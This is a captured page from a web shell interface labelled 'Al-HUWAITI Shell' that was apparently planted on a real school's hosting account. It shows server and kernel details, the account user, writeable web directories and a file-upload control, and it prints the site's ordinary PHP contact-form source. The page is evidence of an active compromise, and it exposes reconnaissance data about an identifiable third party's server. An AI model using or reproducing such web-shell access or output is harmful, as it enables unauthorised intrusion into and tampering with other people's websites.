Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1949.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u595547767 ( 595547767)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/u595547767/domains/irisworldschool.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u595547767/domains/irisworldschool.com/public_html/contactform.php
<?php

// Check if the form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $subject = htmlspecialchars($_POST['subject']);
    $name = htmlspecialchars($_POST['name']);
    $phone = htmlspecialchars($_POST['mobile']);
    $email = htmlspecialchars($_POST['email']);
    $message = htmlspecialchars($_POST['message']);
   
    $date=date('Y-m-d');
  
    $to = "info@irisworldschool.com";    

    	$headers = "MIME-Version: 1.0" . "\r\n";
            	$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
            	$headers .= 'From: <info@irisworldschool.com>'	 . "\r\n";								
            	$body = "
            	<html>
            	<head>
            	<title>HTML email</title>
            	</head>
            	<body>
            	<table border='1'>
            	<tr>
            	<th>Name</th>
            	<td>".$name."</td>
            	</tr>
               
            	
            	<tr>
            	<th>Phone</th>
            	<td>".$phone."</td>
            	</tr>
                <tr>
            	<th>Email</th>
            	<td>".$email."</td>
            	</tr>
                
                
            	<th>Message</th>
            	<td>".$message."</td>
            	</tr>
				
            	
            	</table>
            	</body>
            	</html>
            	";
   
    
    
    if (mail($to, $subject, $body, $headers)) {
        
            echo "<script>alert('Your inquiry submitted successfully!');</script>";
            echo "<script>window.location = 'index.html';</script>";
    }
    else{
            echo "<script>alert('Failed to send the inquiry. Please try again later.!');</script>";
                
    } 
    
} 
else {
    echo "Invalid request!";
}

?>

Al-HUWAITI Shell